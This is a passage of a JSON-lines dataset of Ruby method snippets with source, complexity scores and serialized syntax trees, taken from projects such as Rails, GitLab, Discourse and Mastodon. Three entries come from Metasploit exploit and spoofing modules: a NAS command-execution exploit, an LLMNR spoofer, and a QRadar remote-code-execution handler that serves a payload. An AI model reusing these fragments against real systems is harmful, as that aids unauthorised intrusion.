end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_bookmarks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"after_commit\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"sync_topic_user_bookmarked\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@original_topic\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"sync_topic_user_bookmarked\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@destination_topic\"]},\"id\"]}]}]}]}]}]}]}","id":"6ac897d8-734c-4fdb-9939-6f1fc0faefdb"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic.rb","start_line":1954,"raw_source":"def self.private_message_topics_count_per_day(start_date, end_date, topic_subtype)\n    private_messages\n      .with_subtype(topic_subtype)\n      .where(\"topics.created_at >= ? AND topics.created_at <= ?\", start_date, end_date)\n      .group(\"date(topics.created_at)\")\n      .order(\"date(topics.created_at)\")\n      .count\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"private_message_topics_count_per_day\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start_date\"]},{\"type\":\"arg\",\"children\":[\"end_date\"]},{\"type\":\"arg\",\"children\":[\"topic_subtype\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"private_messages\"]},\"with_subtype\",{\"type\":\"lvar\",\"children\":[\"topic_subtype\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"topics.created_at >= ? AND topics.created_at <= ?\"]},{\"type\":\"lvar\",\"children\":[\"start_date\"]},{\"type\":\"lvar\",\"children\":[\"end_date\"]}]},\"group\",{\"type\":\"str\",\"children\":[\"date(topics.created_at)\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"date(topics.created_at)\"]}]},\"count\"]}]}","id":"3658910e-f305-4ccb-a26e-8faecbf13b9e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/custom_actions/update_work_package_service.rb","start_line":57,"raw_source":"def apply_actions(work_package, actions)\n    changes_before = work_package.changes.dup\n\n    apply_actions_sorted(work_package, actions)\n\n    success, errors = validate(work_package, user)\n    unless success\n      retry_apply_actions(work_package, actions, errors, changes_before)\n    end\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_actions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"actions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"changes_before\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"changes\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[null,\"apply_actions_sorted\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"actions\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"success\"]},{\"type\":\"lvasgn\",\"children\":[\"errors\"]}]},{\"type\":\"send\",\"children\":[null,\"validate\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},null,{\"type\":\"send\",\"children\":[null,\"retry_apply_actions\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"actions\"]},{\"type\":\"lvar\",\"children\":[\"errors\"]},{\"type\":\"lvar\",\"children\":[\"changes_before\"]}]}]}]}]}","id":"d187bf81-1e88-4507-ab07-738919b0bd38"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/import_export/common_util.rb","start_line":90,"raw_source":"def project_json(filename)\n      Gitlab::Json.parse(File.read(filename))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project_json\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}","id":"7a5f1df8-2657-4067-bfd7-4beaf5f5534a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/clusters/knative_services_finder.rb","start_line":20,"raw_source":"def self.from_cache(cluster_id, environment_id)\n      cluster = Clusters::Cluster.find(cluster_id)\n      environment = Environment.find(environment_id)\n\n      new(cluster, environment)\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from_cache\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cluster_id\"]},{\"type\":\"arg\",\"children\":[\"environment_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cluster\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Clusters\"]},\"Cluster\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"cluster_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"environment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Environment\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"environment_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"cluster\"]},{\"type\":\"lvar\",\"children\":[\"environment\"]}]}]}]}","id":"e2e1ff18-83a9-49c9-b8f1-c8736bdd3819"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/v1/filter_serializer.rb","start_line":13,"raw_source":"def phrase\n    object.keyword\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"phrase\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"keyword\"]}]}","id":"07ba8b13-e80b-43c4-b157-d8c2bb73e493"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/authenticator/ldap.rb","start_line":86,"raw_source":"def userid_for(lobj, username)\n      ldap.normalize(ldap.get_attr(lobj, :userprincipalname) || username)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"userid_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lobj\"]},{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ldap\"]},\"normalize\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ldap\"]},\"get_attr\",{\"type\":\"lvar\",\"children\":[\"lobj\"]},{\"type\":\"sym\",\"children\":[\"userprincipalname\"]}]},{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]}","id":"4b5960c2-900c-49fa-a0fb-b5eb90e3da5f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/account.rb","start_line":383,"raw_source":"def excluded_from_timeline_domains\n    Rails.cache.fetch(\"exclude_domains_for:#{id}\") { domain_blocks.pluck(:domain) }\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"excluded_from_timeline_domains\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"exclude_domains_for:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domain_blocks\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"domain\"]}]}]}]}","id":"15e528ce-a792-482b-8829-c9963622198f"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/server/control_command.rb","start_line":9,"raw_source":"def initialize(json: nil)\n      @command = json['command'].to_sym\n      @user_message = json['userMessage']\n      @reason = json['reason'].to_sym if json['reason']\n    end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"json\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"command\"]}]},\"to_sym\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user_message\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"userMessage\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"reason\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@reason\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"reason\"]}]},\"to_sym\"]}]},null]}]}]}","id":"53fb963d-278e-4ccf-a012-a3cf8cd58ef7"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/new_topic_list_toggle_tab.rb","start_line":6,"raw_source":"def initialize(name, selector)\n        super()\n        @name = name\n        @selector = selector\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"selector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@selector\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]}]}]}","id":"d24e6164-4fb3-4867-b39e-bce9c71c9f30"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/batches_test.rb","start_line":665,"raw_source":"def test_in_batches_no_subqueries_for_whole_tables_batching\n    quoted_posts_id = Regexp.escape(quote_table_name(\"posts.id\"))\n    assert_queries_match(/DELETE FROM #{Regexp.escape(quote_table_name(\"posts\"))} WHERE #{quoted_posts_id} > .+ AND #{quoted_posts_id} <=/i) do\n      Post.in_batches(of: 2).delete_all\n    end\n  end","complexity_score":10.58,"ast_json":"{\"type\":\"def\",\"children\":[\"test_in_batches_no_subqueries_for_whole_tables_batching\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quoted_posts_id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"str\",\"children\":[\"posts.id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"str\",\"children\":[\"posts\"]}]}]}]},{\"type\":\"str\",\"children\":[\" WHERE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_posts_id\"]}]},{\"type\":\"str\",\"children\":[\" > .+ AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_posts_id\"]}]},{\"type\":\"str\",\"children\":[\" <=\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},\"delete_all\"]}]}]}]}","id":"d6be2459-918b-41ff-96da-1b04c2c2fc11"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexer.rb","start_line":327,"raw_source":"def initialize(opts={})\n      options(opts)\n\n      @debug = option(:debug)\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@debug\",{\"type\":\"send\",\"children\":[null,\"option\",{\"type\":\"sym\",\"children\":[\"debug\"]}]}]}]}]}","id":"3928abe2-0044-4007-a0ee-aeec8d001c8b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/background_transaction.rb","start_line":14,"raw_source":"def current\n          Thread.current[THREAD_KEY]\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"THREAD_KEY\"]}]}]}","id":"c4482e40-0779-45b1-b8e3-74db5d9ea55f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/user_destroyer.rb","start_line":136,"raw_source":"def agree_with_flags(user)\n    ReviewableFlaggedPost\n      .where(target_created_by: user)\n      .find_each do |reviewable|\n        if reviewable.actions_for(@guardian).has?(:agree_and_keep)\n          reviewable.perform(@actor, :agree_and_keep)\n        end\n      end\n\n    ReviewablePost\n      .where(target_created_by: user)\n      .find_each do |reviewable|\n        if reviewable.actions_for(@guardian).has?(:reject_and_delete)\n          reviewable.perform(@actor, :reject_and_delete)\n        end\n      end\n  end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"agree_with_flags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReviewableFlaggedPost\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_created_by\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reviewable\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reviewable\"]},\"actions_for\",{\"type\":\"ivar\",\"children\":[\"@guardian\"]}]},\"has?\",{\"type\":\"sym\",\"children\":[\"agree_and_keep\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reviewable\"]},\"perform\",{\"type\":\"ivar\",\"children\":[\"@actor\"]},{\"type\":\"sym\",\"children\":[\"agree_and_keep\"]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReviewablePost\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_created_by\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reviewable\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reviewable\"]},\"actions_for\",{\"type\":\"ivar\",\"children\":[\"@guardian\"]}]},\"has?\",{\"type\":\"sym\",\"children\":[\"reject_and_delete\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reviewable\"]},\"perform\",{\"type\":\"ivar\",\"children\":[\"@actor\"]},{\"type\":\"sym\",\"children\":[\"reject_and_delete\"]}]},null]}]}]}]}","id":"a2897ae7-52d1-4d2c-9561-c746d594c8bd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb","start_line":68,"raw_source":"def tel_timeout\n    (datastore['TelnetTimeout'] || 10).to_i\n  end","complexity_score":5.33,"ast_json":"{\"type\":\"def\",\"children\":[\"tel_timeout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TelnetTimeout\"]}]},{\"type\":\"int\",\"children\":[10]}]}]},\"to_i\"]}]}","id":"7d96e645-3da6-4095-9e40-fd6d183f6b72"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/spoof/llmnr/llmnr_response.rb","start_line":160,"raw_source":"def monitor_socket\n    loop do\n      rds = [sock]\n      wds = []\n      eds = [sock]\n\n      r, = ::IO.select(rds, wds, eds, 0.25)\n\n      if !r.nil? && (r[0] == sock)\n        packet, host, port = sock.recvfrom(65535)\n        dispatch_request(packet, host, port)\n      end\n    end\n  end","complexity_score":31.85,"ast_json":"{\"type\":\"def\",\"children\":[\"monitor_socket\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rds\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wds\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"eds\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IO\"]},\"select\",{\"type\":\"lvar\",\"children\":[\"rds\"]},{\"type\":\"lvar\",\"children\":[\"wds\"]},{\"type\":\"lvar\",\"children\":[\"eds\"]},{\"type\":\"float\",\"children\":[0.25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"nil?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"send\",\"children\":[null,\"sock\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"packet\"]},{\"type\":\"lvasgn\",\"children\":[\"host\"]},{\"type\":\"lvasgn\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"recvfrom\",{\"type\":\"int\",\"children\":[65535]}]}]},{\"type\":\"send\",\"children\":[null,\"dispatch_request\",{\"type\":\"lvar\",\"children\":[\"packet\"]},{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]},null]}]}]}]}","id":"1a9e68a5-650b-4f5b-9b52-a822e6fa7d39"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/caching_test.rb","start_line":118,"raw_source":"def test_expire_fragment_with_regexp\n    @store.write(\"views/name\", \"value\")\n    @store.write(\"views/another_name\", \"another_value\")\n    @store.write(\"views/primalgrasp\", \"will not expire ;-)\")\n\n    @controller.expire_fragment(/name/)\n\n    assert_nil @store.read(\"views/name\")\n    assert_nil @store.read(\"views/another_name\")\n    assert_equal \"will not expire ;-)\", @store.read(\"views/primalgrasp\")\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_expire_fragment_with_regexp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"write\",{\"type\":\"str\",\"children\":[\"views/name\"]},{\"type\":\"str\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"write\",{\"type\":\"str\",\"children\":[\"views/another_name\"]},{\"type\":\"str\",\"children\":[\"another_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"write\",{\"type\":\"str\",\"children\":[\"views/primalgrasp\"]},{\"type\":\"str\",\"children\":[\"will not expire ;-)\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"expire_fragment\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"read\",{\"type\":\"str\",\"children\":[\"views/name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"read\",{\"type\":\"str\",\"children\":[\"views/another_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"will not expire ;-)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"read\",{\"type\":\"str\",\"children\":[\"views/primalgrasp\"]}]}]}]}]}","id":"05bf32fa-1c86-43b1-b3a2-7f6404192619"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/inspector.rb","start_line":254,"raw_source":"def section(routes)\n          @buffer << draw_expanded_section(routes)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"section\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"routes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"draw_expanded_section\",{\"type\":\"lvar\",\"children\":[\"routes\"]}]}]}]}","id":"b39ba015-fc3c-46aa-a336-a77919ca250a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/job.rb","start_line":169,"raw_source":"def timeout_adjustment\n    timeout_adjustment = 1\n    target = target_entity\n    if target.kind_of?(ManageIQ::Providers::Azure::CloudManager::Vm) ||\n          target.kind_of?(ManageIQ::Providers::Azure::CloudManager::Template)\n      timeout_adjustment = 4\n    end\n    timeout_adjustment\n  end","complexity_score":8.83,"ast_json":"{\"type\":\"def\",\"children\":[\"timeout_adjustment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timeout_adjustment\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[null,\"target_entity\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManageIQ\"]},\"Providers\"]},\"Azure\"]},\"CloudManager\"]},\"Vm\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManageIQ\"]},\"Providers\"]},\"Azure\"]},\"CloudManager\"]},\"Template\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"timeout_adjustment\",{\"type\":\"int\",\"children\":[4]}]},null]},{\"type\":\"lvar\",\"children\":[\"timeout_adjustment\"]}]}]}","id":"f6bc221a-ee83-4c91-9d63-4dc0b6b865ba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/admin/impersonation_tokens_controller.rb","start_line":9,"raw_source":"def index\n    set_index_vars\n    @can_impersonate = helpers.can_impersonate_user(user, impersonation_in_progress?)\n    @impersonation_error_text = helpers.impersonation_error_text(user, impersonation_in_progress?) if @can_impersonate\n  end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_index_vars\"]},{\"type\":\"ivasgn\",\"children\":[\"@can_impersonate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"can_impersonate_user\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[null,\"impersonation_in_progress?\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@can_impersonate\"]},{\"type\":\"ivasgn\",\"children\":[\"@impersonation_error_text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"impersonation_error_text\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[null,\"impersonation_in_progress?\"]}]}]},null]}]}]}","id":"20599e10-5df8-42a5-852e-31dbcafd0f4a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240618093306_queue_fix_synced_epic_work_item_parent_links.rb","start_line":27,"raw_source":"def down\n    return unless Gitlab.dev_or_test_env? || Gitlab.org_or_com?\n\n    delete_batched_background_migration(MIGRATION, :epics, :id, [])\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"dev_or_test_env?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"org_or_com?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"delete_batched_background_migration\",{\"type\":\"const\",\"children\":[null,\"MIGRATION\"]},{\"type\":\"sym\",\"children\":[\"epics\"]},{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[]}]}]}]}","id":"892bcca4-af14-4312-b9a0-705fef457d5a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb","start_line":107,"raw_source":"def on_request_uri(cli, request)\n    print_good(\"#{peer} - Sending privilege escalation payload to QRadar...\")\n    print_good(\"#{peer} - Sit back and relax, Shelly will come visit soon!\")\n    send_response(cli, @payload)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Sending privilege escalation payload to 